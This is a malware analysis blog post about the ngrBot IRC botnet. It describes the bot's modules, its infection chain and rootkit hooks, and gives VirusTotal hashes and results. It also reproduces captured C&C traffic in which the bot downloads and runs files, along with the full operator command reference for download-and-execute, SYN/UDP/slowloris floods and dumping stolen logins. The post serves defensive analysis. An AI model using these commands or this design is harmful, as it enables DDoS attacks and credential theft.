Analysis of ngrBot-a1234567mdy-ChinaUnix博客

AUG

2011

Analysis of ngrBot

Written by Kimberly

Table of contents

« Prev

Today we will have a closer look at ngrBot, an IRC bot with rootkit capabilities. The core of ngrBot is an advanced ring3 (usermode) system-wide injection and hooking engine similar to ZeuS and SpyEye.

NgrBot will inject code into almost every running process on the computer and is able to terminate processes. It will install to the user’s Application Data folder under a randomly generated filename using the HDD serial number as the initial key.

The bot is also able to block access to certain domains and redirect domains / IP’s to others.

It’s able to spread via USB devices and Windows Live Messenger. More recently ngrBot has been spotted on Facebook but also on Twitter, using the micro blogging service to spread itself.

Modules and FeaturesRootkit

The rootkit module will attempt to hide the bot’s registry startup key as well as the bot file.

Ruskill

The Ruskill module will, if enabled for a download command, monitor the downloaded file as it executes. Ruskill will flag any files that it copies itself to or creates to be deleted at the next system reboot.

Proactive defense

The PDef module is an advanced threat detection and removal system. It monitors a range of file and networking API’s to detect and neutralize other threats that are running on the system. Currently this module can detect, block and remove malware that spreads via USB drives, browser exploit packs, and bots that use IRC to communicate.

DNS Modifier

This module can block domains from being accessed and redirect domains/IP addresses to others.

Slowloris

This module is for web servers running Apache HTTPd. It’s designed to use low bandwidth and to maintain connections as long as possible, thus consuming all available resources.

Syn Flood

The syn flood module is good for web servers that Slowloris fails to take down.

UDP Flood

This module is ideal for taking home connections offline.

Internet Explorer Login Grabber

This module hooks wininet.dll and analyses POST requests made by the IE web browser to capture usernames and passwords on the fly.

Firefox Login Grabber

This module hooks nspr4.dll and analyses POST requests made by the Firefox web browser to capture usernames and passwords on the fly.

FTP Login Grabber

This module hooks ws2_32!send to grab the FTP logins as they are used.

USB Spreader

Waits for USB devices to be inserted and then attemps to infect them using multiple .lnk methods and obfuscated autorun.

MSN Spreader

This module hooks ws2_32!send to detect MSN messages being send. It will then monitor outgoing messages and wait for the spoofed number of messages to be sent before replacing one with the set spread message. It has been tested with the msnp10 and msnp21 protocols with msnmsgr.exe, wlcomm.exe, pidgin.exe and msmsgs.exe.

Commands

Download
Update
Die
Remove
Mute
Version
Visit
Reconnect
Join Channel
Part Channel
Sort Channel by country
Unsort
Module toggle (enable/disable modules)
Statistics (Spreading/login grabbing)
Retrieve all cached logs
Syn
UDP
Slowloris
Stop DDoS
Set MSN Inteerval
Block/Redirect Domain and IP Address

The full package containing all the modules is sold for $400. NgrBot can also be obtained a la carte, meaning no modules, pick and choose which modules you want to include.

Analysis of ngrBot

Upon execution facebook-pic0008422012.exe copies itself under a random name based on the HDD serial number (vgbkbf.exe in our analysis), using Kernel32.GetVolumeInformationW, to the C:\Documents and Settings\[username]\Application Data\ folder.

Analysis of ngrBot

The newly created process vgbkbf.exe will attempt to inject code into the memory space of all running processes.

Analysis of ngrBot

NgrBot will initiate a communication with its C&C located at update.jebac.net through IRC. The domain api.wipmania.com is used to retrieve the country code based on the victim’s IP. The HTTP / MSN spread message followed by a link to the binary is transmitted via IRC and Instructions are given to download a list of blocked domains from data.fuskbugg.se and a new binary called milkway.exe (saved as 1.tmp) from RapidShare. The bot will report back to the C&C if the download was succesful or not and if the file was executed.

PASS ngrBot
NICK n{Country Code|XPu}[redacted]
USER [redacted] 0 0 :[redacted]
:001 get.lost
002 002 002
003 003 003
004 004 004
005 005 005
005 005 005
005 005 005
PING 422 MOTD
JOIN #!hot! ngrBot
:n{Country Code|XPu}[redacted]![redacted]@[redacted] JOIN :#!hot!
:get.lost 332 n{Country Code|XPu}[redacted] #!hot! :.http.int 5 .http.set is this you? HAHAHAH  .msn.int 4 .msn.set LOL  .mdns  -n
:get.lost 333 n{Country Code|XPu}[redacted] #!hot! x 1312388577
PRIVMSG #!hot! :[HTTP]: Updated HTTP spread interval to "5"
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
PRIVMSG #!hot! :[HTTP]: Updated HTTP spread message to "is this you? HAHAHAH "
PRIVMSG #!hot! :[MSN]: Updated MSN spread interval to "4"
PRIVMSG #!hot! :[MSN]: Updated MSN spread message to "LOL "
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
PRIVMSG #!hot! :[DNS]: Blocked 1310 domain(s) - Redirected 0 domain(s)
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
PING :get.lost
PONG :get.lost
:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\1.tmp" - Download retries: 1
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)

The file 1.tmp will request internet access in order to download a binary called memory.exe from RapidShare. The file will be saved under a random name in the %temp% folder.

Analysis of ngrBot

Upon execution the file copies itself as windows.exe to the C:\Documents and Settings\[username]\Application Data\ folder.

Analysis of ngrBot

Once windows.exe started, ngrBot marks its presence in the infected system with a mutex named hex-Mutex and WeAreWeAre.

Analysis of ngrBot

The Internet Explorer Home page has been modified to redirecturls.info which redirects to another domain.

Analysis of ngrBot

Examples are:

NgrBot will periodically download milkway.exe and memory.exe from RapidShare in order to always run the latest version of the bot.

:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Error creating process "C:\Documents and Settings\[UserName]\Application Data\2.tmp" [e="6"]
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
 
:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\3.tmp" - Download retries: 1
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
 
:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\5.tmp" - Download retries: 1
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
 
:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\8.tmp" - Download retries: 0
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
 
:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\9.tmp" - Download retries: 1
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
 
:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\24.tmp" - Download retries: 1
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)
 
:x!x @ gov.ba PRIVMSG #!hot! :.dl  -n
PRIVMSG #!hot! :[d="" s="118784 bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\25.tmp" - Download retries: 0
:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick (+r) to talk on this channel (#!hot!)

Analysis of ngrBot

List of blocked domains

Gmer Scan

I left only 2 processes in the scan to reduce the size of the log.

---- User code sections - GMER 1.0.14 ----
 
.text           C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!NtEnumerateValueKey                                                          7C90D976 5 Bytes  JMP 00D323F0
.text           C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!NtQueryDirectoryFile                                                         7C90DF5E 5 Bytes  JMP 00D32690
.text           C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!NtResumeThread                                                               7C90E45F 5 Bytes  JMP 00D3D2AA
.text           C:\WINDOWS\Explorer.EXE[1212] ntdll.dll!LdrLoadDll                                                                   7C9161CA 5 Bytes  JMP 00D3D166
.text           C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CreateFileA                                                               7C801A24 5 Bytes  JMP 00D311C0
.text           C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CreateFileW                                                               7C810976 5 Bytes  JMP 00D31400
.text           C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!MoveFileA                                                                 7C822294 5 Bytes  JMP 00D322F0
.text           C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CopyFileW                                                                 7C825779 5 Bytes  JMP 00D310A0
.text           C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!CopyFileA                                                                 7C830053 5 Bytes  JMP 00D31000
.text           C:\WINDOWS\Explorer.EXE[1212] kernel32.dll!MoveFileW                                                                 7C839659 5 Bytes  JMP 00D32350
.text           C:\WINDOWS\Explorer.EXE[1212] ADVAPI32.dll!RegCreateKeyExW                                                           77DD7535 5 Bytes  JMP 00D32D00
.text           C:\WINDOWS\Explorer.EXE[1212] ADVAPI32.dll!RegCreateKeyExA                                                           77DDEAF4 5 Bytes  JMP 00D32B60
.text           C:\WINDOWS\Explorer.EXE[1212] WININET.dll!HttpSendRequestW                                                           6301F73E 5 Bytes  JMP 00D31EA0
.text           C:\WINDOWS\Explorer.EXE[1212] WININET.dll!HttpSendRequestA                                                           6302E822 5 Bytes  JMP 00D31C40
.text           C:\WINDOWS\Explorer.EXE[1212] WININET.dll!InternetWriteFile                                                          6307665E 5 Bytes  JMP 00D32100
.text           C:\WINDOWS\Explorer.EXE[1212] WS2_32.dll!getaddrinfo                                                                 71AB2A6F 5 Bytes  JMP 00D31B60
.text           C:\WINDOWS\Explorer.EXE[1212] WS2_32.dll!send                                                                        71AB428A 5 Bytes  JMP 00D32E60
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!NtEnumerateValueKey                                  7C90D976 5 Bytes  JMP 001523F0
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!NtQueryDirectoryFile                                 7C90DF5E 5 Bytes  JMP 00152690
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!NtResumeThread                                       7C90E45F 5 Bytes  JMP 0015D2AA
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] ntdll.dll!LdrLoadDll                                           7C9161CA 5 Bytes  JMP 0015D166
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CreateFileA                                       7C801A24 5 Bytes  JMP 001511C0
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CreateFileW                                       7C810976 5 Bytes  JMP 00151400
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!MoveFileA                                         7C822294 5 Bytes  JMP 001522F0
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CopyFileW                                         7C825779 5 Bytes  JMP 001510A0
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!CopyFileA                                         7C830053 5 Bytes  JMP 00151000
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] kernel32.dll!MoveFileW                                         7C839659 5 Bytes  JMP 00152350
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] ADVAPI32.dll!RegCreateKeyExW                                   77DD7535 5 Bytes  JMP 00152D00
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] ADVAPI32.dll!RegCreateKeyExA                                   77DDEAF4 5 Bytes  JMP 00152B60
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!CallNextHookEx                                      77D4ED6E 5 Bytes  JMP 00EADD81 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!CreateWindowExW                                     77D51AD5 5 Bytes  JMP 00EB4832 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!DialogBoxParamW                                     77D56702 5 Bytes  JMP 00DD9315 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!DialogBoxParamA                                     77D588E1 5 Bytes  JMP 00FCDFBE C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!DialogBoxIndirectParamW                             77D62598 5 Bytes  JMP 00FCE021 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!MessageBoxIndirectA                                 77D6AEF1 5 Bytes  JMP 00FCDF51 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!SetWindowsHookExW                                   77D6E621 5 Bytes  JMP 00EADBCB C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!UnhookWindowsHookEx                                 77D6F29F 5 Bytes  JMP 00E11CA2 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!MessageBoxExW                                       77D80559 5 Bytes  JMP 00FCDE22 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!MessageBoxExA                                       77D8057D 5 Bytes  JMP 00FCDE84 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!DialogBoxIndirectParamA                             77D86CED 5 Bytes  JMP 00FCE084 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] USER32.dll!MessageBoxIndirectW                                 77D960B7 5 Bytes  JMP 00FCDEE6 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] ole32.dll!CoCreateInstance                                     77526009 5 Bytes  JMP 00EB488E C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft Corporation)
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] WININET.dll!HttpSendRequestW                                   6301F73E 5 Bytes  JMP 00151EA0
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] WININET.dll!HttpSendRequestA                                   6302E822 5 Bytes  JMP 00151C40
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] WININET.dll!InternetWriteFile                                  6307665E 5 Bytes  JMP 00152100
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] WS2_32.dll!getaddrinfo                                         71AB2A6F 5 Bytes  JMP 00151B60
.text           C:\Program Files\Internet Explorer\iexplore.exe[1404] WS2_32.dll!send                                                71AB428A 5 Bytes  JMP 00152E60
 
---- User IAT/EAT - GMER 1.0.14 ----
 
IAT             C:\Program Files\Internet Explorer\iexplore.exe[1404] @ C:\WINDOWS\system32\ole32.dll [KERNEL32.dll!LoadLibraryExW]  [019718FD] C:\Program Files\Internet Explorer\xpshims.dll (Internet Explorer Compatibility Shims for XP/Microsoft Corporation)
 
---- Registry - GMER 1.0.14 ----
 
Reg             HKCU\Software\Microsoft\Windows\CurrentVersion\Run@Vgbkbf                                                            C:\Documents and Settings\[UserName]\Application Data\Vgbkbf.exe
 
---- Files - GMER 1.0.14 ----
 
File            C:\Documents and Settings\{UserName]\Application Data\Vgbkbf.exe                                                            169472 bytes
 
---- EOF - GMER 1.0.14 ----

ngrBot Commands

view sourceprint?

Note: parameters within "[" and "]" are required, and parameters within "<" and ">" are optional.
 
!dl [url]  <-r> <-n>
 
The bot downloads and executes a file from the specified URL.
 
Parameters
url        URL of the file to download and execute
md5        optional MD5 hash of the file to download for integrity check, the bot will not redownload a file with the same hash until reboot
-r        Enable RusKill on downloaded file
-n        Disables PDef+ on the system until reboot or until it is manually re-enabled
 
-------------------------
 
!up [url] [md5] <-r>
 
The bot updates its file, but the update does not take effect until the system is restarted.
 
Parameters
url        URL of the file to update to
md5        MD5 hash of the update file
-r        Reboot immediately
 
-------------------------
 
!die
 
The bot disconnects from the IRC server and does not reconnect until its system reboots.
 
-------------------------
 
!rm
 
The bot will remove itself from the system.
 
-------------------------
 
!m [state]
 
Enable/disable all output to IRC regarding to commands and features.
 
Parameters
state    Enable (on) or disable (off) muting of all output to IRC
 
-------------------------
 
!v
 
The bot displays its version, customer name, the MD5 hash of its file, and its installed filepath.
 
-------------------------
 
!vs [url] [state]
 
The bot creates a browser instance and visits the specified link.
 
Parameters
url        URL to open
state    Open in a visible (1) or invisible (0) window
 
-------------------------
 
!rc <-n|-g>
 
The bot disconnects from the IRC server and waits 15 seconds before reconnecting.
 
Parameters
-n    Only reconnect if the bot is currently marked as "new"
-g    Only reconnect if the bot did not previously succeed in determining its country using GeoIP
 
-------------------------
 
!j [<[rule] [options]> channel] 
 
The bot joins the specified channel. If rules are specified, the bot will only join if the rules apply to it.
 
Parameters
rule        Optional rule for the bot to check for. Supported options are -c (country) and -v (version)
options        Options for selected rule
With -c,     you can put a single or multiple comma-separated country code(s)
With -v,     you can put a single or multiple comma-separated version(s)
channel        Channel to join
key            Key of channel to join
 
-------------------------
 
!p [<[rule] [options]> channel]
 
The bot parts the specified channel.
 
Parameters
rule        Optional rule for the bot to check for. Supported options are -c (country) and -v (version)
options        Options for selected rule
With -c,     you can put a single or multiple comma-separated country code(s)
With -v,     you can put a single or multiple comma-separated version(s)
channel        Channel to part
 
-------------------------
 
!s 
 
The bot joins the channel for its country (e.g. Russian bots (RU) join #RU).
 
Parameters
rule    Optional rule for the bot to sort by instead of country. Supported options are -o (operating system), -n (new/old), -u (admin/user), and -v (version)
 
-------------------------
 
!us 
 
The bot parts the channel for its country (e.g. Russian bots (RU) part #RU).
 
Parameters
rule    Optional rule for the bot to unsort by instead of country. Supported options are -o (operating system), -n (new/old), -u (admin/user), and -v (version)
 
-------------------------
 
!mod [module] [state]
 
Enable/disable modules that use hooks.
Note: disabling bdns will only unblock AV and other preset sites, not sites set using the !mdns command.
 
Parameters
module        Module to change. Supported modules: msn, msnu, pdef, iegrab, ffgrab, ftpgrab, bdns, usbi
state        Enable (on) or disable (off) module
 
-------------------------
 
!stats <-l|-s>
 
Retrieves statistics for spreading and/or login grabbing. If no parameters are specified, it will display both.
 
Parameters
-l    Display login grabber stats
-s    Display spreading stats
 
-------------------------
 
!logins 
 
Retrieves all grabbed and cached logins and prints them to channel or PM. Can also be used to clear login cache.
 
Parameters
site    Site to retrieve logins for (case insensitive, see here for the list of sites)
-c        Clear login cache
 
-------------------------
 
!stop
 
The bot will end all running flood tasks.
 
-------------------------
 
!ssyn [host] [port] [seconds]
 
Parameters
host        Host to flood with SYN requests
port        Port to flood. If 0, the bot uses a random port
seconds        Number of seconds to flood the target
 
-------------------------
 
!udp [host] [port] [seconds]
 
Parameters
host        Host to flood with UDP packets
port        Port to flood. If 0, the bot uses a random port
seconds        Number of seconds to flood the target
 
-------------------------
 
!slow [host] [minutes]
 
Parameters
host        Host to flood using slowloris
minutes        Number of minutes to flood the target
 
-------------------------
 
!msn.int [interval]
 
Set the number of MSN messages in a conversation before one is changed with your spreading message. See here for more information.
Note: use '#' for a random interval between 1 and 9.
 
Parameters
interval    Number of MSN messages before spread
 
-------------------------
 
!msn.set [message]
 
Set the message that will be used for MSN spreading. See here for more information.
Note: use '#' for a random digit and '*' for a random lowercase letter.
 
Parameters
message        Message to spread via MSN
 
-------------------------
 
!http.int [interval]
 
Set the number of Facebook messages in a conversation before one is changed with your spreading message. See here for more information.
Note: use '#' for a random interval between 1 and 9.
 
Parameters
interval    Number of Facebook messages before spread
 
-------------------------
 
!http.set [message]
 
Set the message that will be used for Facebook spreading. See here for more information.
Note: use '#' for a random digit and '*' for a random lowercase letter.
 
Parameters
message        Message to spread via Facebook
 
-------------------------
 
!mdns [url|[domain1 ]|[ip1 ]]
 
The bot will block access to or redirect the specified domain/IP address.
Note: domain to domain, domain to IP address, and IP address to IP address redirects work. IP address to domain redirection does not yet work.
Note: it must be the exact domain, for example "example.com" will not include "". Wildcard support will be added in an update.
 
Parameters
url            Plaintext file with one redirect/blocking rule per line, rules are formatted in the same way as the command parameters.
domain1        Requests for this domain will be redirected to domain2 or ip2 if they are set, otherwise it is blocked
ip1            Requests for this IP address will be redirected to ip2 if it is set, otherwise it is blocked
domain2        DNS queries for domain1 will be redirected to this domain if set
ip2            DNS queries for ip1 or domain1 will be redirected to this IP address if set

«StartPrev12Next End»

VirusTotal Results

facebook-pic0008422012.exe
Additional information
MD5: 617fc475c1f0120571d8f21493f60959
SHA1: e3fcfa0fe9ac759be324479e0a861f8a303b9ff1
SHA256:128f4e7f429a8a8c785f3d3f46829ee756ce2f8d7cd509c326183966c5d318ae
File size: 169472 bytes
Scan date: 2011-08-03 13:21:51 (UTC)

Antivirus	Version	Last update	Result
AhnLab-V3	2011.08.03.02	2011.08.03	-
AntiVir	7.11.12.200	2011.08.03	-
Antiy-AVL	2.0.3.7	2011.08.03	-
Avast	4.8.1351.0	2011.08.03	-
Avast5	5.0.677.0	2011.08.03	-
AVG	10.0.0.1190	2011.08.03	SHeur3.CMHH
BitDefender	7.2	2011.08.03	Gen:Variant.FakeAlert.75
CAT-QuickHeal	11.00	2011.08.03	-
ClamAV	0.97.0.0	2011.08.03	-
Commtouch	5.3.2.6	2011.08.03	-
Comodo	9614	2011.08.03	-
DrWeb	5.0.2.03300	2011.08.03	-
Emsisoft	5.1.0.8	2011.08.03	-
eSafe	7.0.17.0	2011.08.03	-
eTrust-Vet	36.1.8479	2011.08.02	-
F-Prot	4.6.2.117	2011.08.03	-
F-Secure	9.0.16440.0	2011.08.03	Gen:Variant.FakeAlert.75
Fortinet	4.2.257.0	2011.08.03	-
GData	22	2011.08.03	Gen:Variant.FakeAlert.75
Ikarus	T3.1.1.104.0	2011.08.03	-
Jiangmin	13.0.900	2011.08.02	-
K7AntiVirus	9.109.4973	2011.08.02	-
Kaspersky	9.0.0.837	2011.08.03	UDS:DangerousObject.Multi.Generic
McAfee	5.400.0.1158	2011.08.03	-
McAfee-GW-Edition	2010.1D	2011.08.03	Heuristic.LooksLike.Win32.Suspicious.C
Microsoft	1.7104	2011.08.03	-
NOD32	6346	2011.08.03	a variant of Win32/Injector.IIF
Norman	6.07.10	2011.08.03	-
nProtect	2011-08-03.04	2011.08.03	Gen:Variant.FakeAlert.75
Panda	10.0.3.5	2011.08.03	Suspicious file
PCTools	8.0.0.5	2011.08.03	-
Prevx	3.0	2011.08.03	-
Rising	23.69.02.03	2011.08.03	Suspicious
Sophos	4.67.0	2011.08.03	-
SUPERAntiSpyware	4.40.0.1006	2011.08.03	Trojan.Agent/Gen-Falcomp
Symantec	20111.1.0.186	2011.08.03	-
TheHacker	6.7.0.1.269	2011.08.03	-
TrendMicro	9.200.0.1012	2011.08.03	-
TrendMicro-HouseCall	9.200.0.1012	2011.08.03	-
VBA32	3.12.16.4	2011.08.03	-
VIPRE	10051	2011.08.03	-
ViRobot	2011.8.3.4603	2011.08.03	-
VirusBuster	14.0.150.0	2011.08.02	-

milkway.exe - 1.tmp
Additional information
MD5: a17c070c23a4b8be33466d735b460551
SHA1: 8d861e95525081603101b0fc129ed9c135bd226f
SHA256:960c2aa3408c6729d557337893cfba65b6565551c32f1a506e50e1fc72279397
File size: 118784 bytes
Scan date: 2011-08-03 16:36:48 (UTC)

Antivirus	Version	Last update	Result
AntiVir	7.11.12.202	2011.08.03	-
Antiy-AVL	2.0.3.7	2011.08.03	-
Avast	4.8.1351.0	2011.08.03	-
Avast5	5.0.677.0	2011.08.03	-
CAT-QuickHeal	11.00	2011.08.03	-
ClamAV	0.97.0.0	2011.08.03	-
Commtouch	5.3.2.6	2011.08.03	-
Comodo	9617	2011.08.03	-
eSafe	7.0.17.0	2011.08.03	-
eTrust-Vet	36.1.8481	2011.08.03	-
F-Prot	4.6.2.117	2011.08.03	-
Fortinet	4.2.257.0	2011.08.03	W32/Injector.HCR!tr
Ikarus	T3.1.1.104.0	2011.08.03	-
Jiangmin	13.0.900	2011.08.03	-
K7AntiVirus	9.109.4973	2011.08.02	-
Kaspersky	9.0.0.837	2011.08.03	Trojan-Dropper.Win32.Injector.ahk
McAfee	5.400.0.1158	2011.08.03	-
McAfee-GW-Edition	2010.1D	2011.08.03	-
Microsoft	1.7104	2011.08.03	-
NOD32	6347	2011.08.03	-
Norman	6.07.10	2011.08.03	-
nProtect	2011-08-03.04	2011.08.03	-
PCTools	8.0.0.5	2011.08.03	-
Prevx	3.0	2011.08.03	-
Rising	23.69.02.03	2011.08.03	-
Sophos	4.67.0	2011.08.03	-
SUPERAntiSpyware	4.40.0.1006	2011.08.03	-
Symantec	20111.1.0.186	2011.08.03	-
TheHacker	6.7.0.1.269	2011.08.03	-
TrendMicro	9.200.0.1012	2011.08.03	-
TrendMicro-HouseCall	9.200.0.1012	2011.08.03	-
VBA32	3.12.16.4	2011.08.03	-
VIPRE	10053	2011.08.03	Trojan.Win32.Generic.pak!cobra
ViRobot	2011.8.3.4603	2011.08.03	-
VirusBuster	14.0.150.0	2011.08.02	-

memory.exe - windows.exe
Additional information
MD5: 0d8da66c26b7c8ab1c0b447f8fbcbf07
SHA1: b0c1b7f366173d1c455f53d641a28b5b5c0563bf
SHA256:fdc8db0fea65a7d81e3bc151b19f05f93ab278f095fc7a88545f36497f8459da
File size: 122880 bytes
Scan date: 2011-08-03 11:22:09 (UTC)

Antivirus	Version	Last update	Result
AhnLab-V3	2011.08.03.01	2011.08.03	-
AntiVir	7.11.12.200	2011.08.03	-
Antiy-AVL	2.0.3.7	2011.08.03	-
Avast	4.8.1351.0	2011.08.02	-
Avast5	5.0.677.0	2011.08.02	-
AVG	10.0.0.1190	2011.08.03	-
BitDefender	7.2	2011.08.03	-
CAT-QuickHeal	11.00	2011.08.03	-
ClamAV	0.97.0.0	2011.08.03	-
Commtouch	5.3.2.6	2011.08.03	-
Comodo	9611	2011.08.03	-
DrWeb	5.0.2.03300	2011.08.03	-
Emsisoft	5.1.0.8	2011.08.03	-
eSafe	7.0.17.0	2011.08.03	-
eTrust-Vet	36.1.8479	2011.08.02	-
F-Prot	4.6.2.117	2011.08.03	-
F-Secure	9.0.16440.0	2011.08.03	-
Fortinet	4.2.257.0	2011.08.03	W32/Injector.HCR!tr
GData	22	2011.08.03	-
Ikarus	T3.1.1.104.0	2011.08.03	-
Jiangmin	13.0.900	2011.08.02	-
K7AntiVirus	9.109.4973	2011.08.02	-
Kaspersky	9.0.0.837	2011.08.03	-
McAfee	5.400.0.1158	2011.08.03	-
McAfee-GW-Edition	2010.1D	2011.08.03	-
Microsoft	1.7104	2011.08.03	-
NOD32	6346	2011.08.03	-
Norman	6.07.10	2011.08.03	-
nProtect	2011-08-03.04	2011.08.03	-
Panda	10.0.3.5	2011.08.02	-
PCTools	8.0.0.5	2011.08.03	-
Prevx	3.0	2011.08.03	-
Rising	23.69.02.03	2011.08.03	-
Sophos	4.67.0	2011.08.03	-
SUPERAntiSpyware	4.40.0.1006	2011.08.03	-
Symantec	20111.1.0.186	2011.08.03	-
TheHacker	6.7.0.1.267	2011.08.02	-
TrendMicro	9.200.0.1012	2011.08.03	-
TrendMicro-HouseCall	9.200.0.1012	2011.08.03	-
VBA32	3.12.16.4	2011.08.02	-
VIPRE	10050	2011.08.03	-
ViRobot	2011.8.3.4603	2011.08.03	-
VirusBuster	14.0.150.0	2011.08.02	-